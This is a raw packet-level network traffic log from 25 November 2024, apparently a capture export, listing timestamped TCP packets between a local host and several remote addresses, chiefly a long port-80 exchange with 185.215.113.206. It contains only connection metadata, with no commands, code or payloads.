Nov 25, 2024 14:14:37.676402092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.679445028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.679742098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.679758072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.679805040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.682696104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.682755947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.682802916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.682847023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.686114073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.686283112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.686351061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.686393976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.689289093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.689341068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.689469099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.689512014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.692517042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.692569017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.692723036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.692768097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.695755959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.695811987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.695893049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.695934057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.699492931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.699552059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.699670076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.699713945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.702410936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.702464104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.704735994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.704830885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.707531929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.707545042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.707576036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.707590103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.710474014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.710516930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.710617065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.710661888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.712714911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.712784052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.712945938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.712990046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.715358019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.715490103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.715492964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.715527058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.718699932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.718755007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.718861103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.719017982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.720608950 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.721888065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.721934080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.722058058 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.722215891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.724482059 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.724572897 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.724627972 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.725219011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.725279093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.725306034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.725428104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.728468895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.728534937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.728794098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.728832960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.731882095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.731959105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.732295036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.732347012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.735081911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.735152006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.735179901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.735217094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.736156940 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.736219883 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.736249924 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.738385916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.738601923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.738764048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.738800049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.741513968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.741595984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.741636038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.741674900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.744796038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.744873047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.744915009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.744957924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.745874882 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.745934010 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.745954037 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.758510113 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.758579016 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.758600950 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.772222996 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.772281885 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.772301912 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.785805941 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.786003113 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.786012888 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.817852020 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.817924023 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.817975044 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.818116903 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 14:14:37.818131924 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 14:14:37.820914984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.821007013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.821111917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.821163893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.822197914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.822257042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.822657108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.822725058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.823124886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.823179960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.825078011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.825146914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.825591087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.825777054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.827661991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.827729940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.827956915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.828044891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.830039978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.830166101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.830264091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.830312967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.832423925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.832480907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.832482100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.832667112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.834992886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.835047007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.835196972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.835235119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.837387085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.837424994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.837500095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.837543964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.839545012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.839617968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.839792013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.839838982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.840801954 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.840888023 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.840922117 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.841830015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.841893911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.841948986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.842078924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.844086885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.844189882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.844674110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.844712973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.844861984 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.845045090 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.845062971 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.846321106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.846368074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.846810102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.846852064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.848467112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.848515987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.848536015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.848570108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.851185083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.851258039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.851461887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.851506948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.853447914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.853522062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.854468107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.855504036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.855535984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.855575085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.855626106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.857198954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.857614994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.857701063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.859157085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.859292984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.859352112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.861258030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.861290932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.861354113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.863243103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.863298893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.864116907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.864166021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.865277052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.865333080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.865736008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.865783930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.867289066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.867342949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.868627071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.868675947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.869968891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.870029926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.870275021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.870322943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.872237921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.872294903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.872350931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.873147964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.874015093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.874090910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.874253988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.874305010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.875689983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.875868082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.875911951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.875999928 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876013994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.876046896 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:37.876136065 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876180887 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876220942 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:37.876327038 CET	49811	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876346111 CET	443	49811	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:37.876353025 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876496077 CET	49812	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:37.876514912 CET	443	49812	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:37.877589941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.877602100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.877654076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.879547119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.879596949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.879796028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.879841089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.881459951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.881551027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.881577015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.881639004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.883336067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.883388042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.883553982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.883600950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.885236979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.885289907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.885457039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.885727882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.887142897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.887196064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.887232065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.887336016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.890970945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.891025066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.891092062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.891130924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.891838074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.891849995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.891890049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.894761086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.894820929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.894928932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.894974947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.896193981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.896363974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.896421909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.898251057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.898305893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.898643970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.898686886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.900052071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.900108099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.900367975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.900469065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.901480913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.901536942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.901904106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.901952028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.903090954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.903107882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.903167963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.905033112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.905705929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.905868053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.907023907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.907079935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.907563925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.907608032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.909045935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.909090996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.909192085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.909404993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.911122084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.911237955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.911262035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.911283970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.914612055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.914680004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.914763927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.914808035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.917079926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.917097092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.917166948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.918379068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.918732882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.918905020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.918953896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.920142889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.920156002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.920228004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.921902895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.921955109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.922086000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.922128916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.923907995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.924072981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.924120903 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.926326990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.926342964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.926402092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.926429033 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.926466942 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.926525116 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.926556110 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.927886963 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.928037882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.928195000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.928216934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:37.928517103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:37.932276964 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.932542086 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:37.939982891 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.940076113 CET	49783	443	192.168.2.5	142.250.181.65
Nov 25, 2024 14:14:37.940095901 CET	443	49783	142.250.181.65	192.168.2.5
Nov 25, 2024 14:14:37.940357924 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:37.940387964 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:37.941443920 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:37.941487074 CET	443	49805	18.165.220.57	192.168.2.5
Nov 25, 2024 14:14:37.941497087 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 14:14:37.941535950 CET	49805	443	192.168.2.5	18.165.220.57
Nov 25, 2024 14:14:37.941566944 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 14:14:37.941633940 CET	49813	443	192.168.2.5	172.64.41.3
